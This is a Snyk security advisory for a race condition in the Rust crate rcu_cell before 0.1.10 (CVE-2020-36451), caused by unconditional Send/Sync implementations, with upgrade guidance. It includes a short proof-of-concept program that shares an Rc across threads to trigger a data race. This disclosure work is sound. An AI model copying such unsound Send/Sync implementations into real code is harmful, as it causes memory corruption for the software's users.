Race Condition Affecting rcu_cell package, versions <0.1.10


Severity

Recommended
0.0
low
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.51% (67th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-RCUCELL-1316266
  • published7 Jul 2021
  • disclosed14 Nov 2020
  • creditsslab-gatech

Introduced: 14 Nov 2020

CVE-2020-36451  (opens in a new tab)
CWE-119  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

Upgrade rcu_cell to version 0.1.10 or higher.

Overview

rcu_cell is an a lockless rcu cell implementation.

Affected versions of this package are vulnerable to Race Condition. It unconditionally implements Send/Sync for RcuCell<T>. This allows users to send T: !Send to other threads (while T enclosed within RcuCell<T>), and allows users to concurrently access T: !Sync by using the APIs of RcuCell<T> that provide access to &T. This can result in memory corruption caused by data races.

PoC

# Run the below program in debug mode
use rcu_cell::RcuCell;

use std::rc::Rc; use std::sync::Arc; use std::thread;

fn main() { // Rc is neither Send nor Sync let rcu_cell = RcuCell::new(Some(Rc::new(0_i32))); let arc_parent = Arc::new(rcu_cell);

let mut child_threads = vec![];
for _ in 0..5 {
    let arc_child = Arc::clone(&amp;arc_parent);
    child_threads.push(thread::spawn(move || {
        for _ in 0..1000 {
            let reader = arc_child.as_ref().read();
            // data race on internal `strong_count` of `Rc`
            let _ = Rc::clone(&amp;reader.unwrap());
        }
    }));
}
for child in child_threads {
    child.join().expect(&quot;failed to join child thread&quot;);
}

assert_eq!(Rc::strong_count(arc_parent.read().as_ref().unwrap()), 1);

}

CVSS Base Scores

version 3.1